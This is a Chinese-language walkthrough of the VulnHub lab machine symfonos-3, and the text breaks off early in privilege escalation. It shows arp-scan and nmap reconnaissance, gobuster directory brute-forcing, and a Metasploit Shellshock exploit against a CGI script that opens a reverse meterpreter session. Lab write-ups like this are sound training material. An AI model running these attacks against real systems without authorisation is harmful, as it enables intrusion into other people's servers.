虚拟机信息:
虚拟机下载地址
:https://www.vulnhub.com/entry/symfonos-3,332/
虚拟机简介
:类似 OSCP 的基于现实生活的中级机器,旨在教授理解漏洞的重要性
目标
:1个flag
级别
:中级
1、信息收集
1.1通过arp-scan检测主机IP地址
arp-scan 192.168.207.0/24
1.2 通过nmap进行端口扫描
nmap -A -sS -sV -v -p- 192.168.207.143
查看开放21、22、80端口
2、渗透测试
2.1 HTTP渗透测试
1.访问站点
查看网页源代码,提示爆破出underworld
2.使用gobuster进行爆破
gobuster dir -u http://192.168.207.143 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x html,php,txt -q -k -f
3.爆破二级目录
gobuster dir -u http://192.168.207.143/cgi-bin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x html,php,txt -q -k -f
发现在cgi-bin中存在/underworld/
4.访问站点查看有系统运行时间
http://192.168.207.143/cgi-bin/underworld
5.通过CGI-bin注入
在网上有相关CGI注入介绍:https://book.hacktricks.xyz/pentesting/pentesting-web/cgi
CGI
(通用网关接口)定义了一种 Web 服务器与外部内容生成程序交互的方式,这些程序通常被称为 CGI
程序
或
CGI
脚本。
使用metasploit可以进行CGI
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set rhosts 192.168.207.143
set targeturi /cgi-bin/underworld/
set lhost 192.168.207.129
run
获取到
meterpreter会话
2.2 系统提权操作
1.探测系统版本
sysinfo
探测系统没有GCC
which gcc